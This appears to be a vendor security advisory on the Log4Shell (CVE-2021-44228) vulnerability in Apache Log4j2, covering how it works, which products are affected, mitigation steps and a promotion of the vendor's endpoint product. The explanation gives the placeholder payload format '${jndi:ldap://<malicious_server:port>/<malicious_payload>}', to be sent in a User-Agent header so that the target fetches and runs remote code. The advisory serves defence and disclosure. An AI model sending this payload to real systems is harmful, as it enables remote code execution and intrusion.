Overview
On December 9, a severe remote code execution vulnerability was disclosed in Apache’s logging tool, Log4j2 – a widely-used open-source Java framework used for logging by countless commercial, non-commercial, and internally-developed applications and users – affecting all previous versions of the framework.
Due to the simplicity of the exploitation and the massive usage of the Log4j library in many components from different products, we’ve already seen several POCs being published on Github which implement this exploit.
The vulnerability has been dubbed “Log4Shell” and its root cause has since been fixed by Log4j2 authors. It is highly recommended that all users of Log4j2 or applications that employ Log4j2 update to the latest version (v2.15.0) of the framework or respective application.
Deep Instinct’s product line, agents, cloud infrastructure, and servers do not use or rely on log4j2 and therefore cannot be compromised by it and are not vulnerable to its exploitation.
Interestingly, this is not the first time JNDI and LDAP have been responsible for vulnerable software. During Black Hat 2016, researchers presented how to successfully use remote code execution leveraging these two components.
What Makes Log4Shell so Severe?
“Log4Shell” abuses the Java Naming and Directory Interface (JNDI) and Lightweight Directory Access Protocol (LDAP), enabling it to force applications and servers running Log4j to fetch and execute a malicious payload.
JNDI, which has been present in Java since the 1990s, allows Java programs and applications to locate and make use of remote data. LDAP is an industry-standard, application-layer protocol that allows access to remote directories over Internet-Protocol (IP).
The vulnerability is exceptionally easy to exploit, requiring (in some cases) only a crafted User-Agent HTTP request header and has multiple POCs already published for it.
In short – by simply causing a vulnerable application to write a specific format of string to its logs it will “trip” the vulnerability.
In the simplest manner, an attacker can change the HTTP request User-Agent header to something in the following format: ${jndi:ldap://<malicious_server:port>/<malicious_payload>}, which will be logged by the receiving application, causing Log4j to fetch and arbitrarily execute the malicious payload.
The vulnerability is particularly dangerous as it allows anyone interacting with the vulnerable application to remotely execute arbitrary code on the machine hosting the application, allowing for anything from reconnaissance to initial access into targeted networks and ransomware delivery.
Current Activity and Exploitation in the Wild
The impact of this vulnerability and its exploitation is vast, affecting entities from a variety of sectors including Apple, Amazon, Tesla, Google, and many more. This not only puts these enterprises at risk but the customers that use their services as well.
Deep Instinct vs. CVE-2021-44228
In the case of successful exploitation of the log4j2 vulnerability, the Deep Instinct agent-based solution prevents execution of any shellcode or malicious payload emanating from compromised machines or environments. Consequent malicious payload delivered by the Log4Shell exploit will be prevented in the pre-execution phase by Deep Instinct agents using the deep learning brain capabilities.
The following video demonstrates Deep Instinct’s Windows D-Client protecting against exploitation of this vulnerability. Deep Instinct Windows D-Client is installed on a Windows machine that runs a vulnerable service. The kali machine attacks the service by sending a malicious HTTP request which causes the Windows machine to attempt execution of an encoded PowerShell command.
Recommended Actions and Mitigation
- First and foremost, immediately Upgrade log4j2 to its latest version 2.15.0, which is not affected by this vulnerability.
- If you are using a version (>/=2.10), you can set the setting system property "log4j2.formatMsgNoLookups" to “true” (default in version 2.15.0).
- Protection in previous versions (2.0_beta9 - 2.10.0) is possible by removing the JndiLookup class from the class path e.g.: zip -q -d log4j-core-.*jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- Implementation of Input validation mechanisms to all code that interacts with log4j.
Full Mitigation Guide Available Here:
You Can Use These Commands to Search for Exploitation Attempts Against the log4j RCE Vulnerability:
References
https://nvd.nist.gov/vuln/detail/CVE-2021-44228 - CVE details and scores
https://logging.apache.org/log4j/2.x/security.html - Log4j 2.15.0 patch notes
https://logging.apache.org/log4j/2.x/download.html - Log4j2 latest version (2.15.0)
https://github.com/YfryTchsGD/Log4jAttackSurface - list of affected components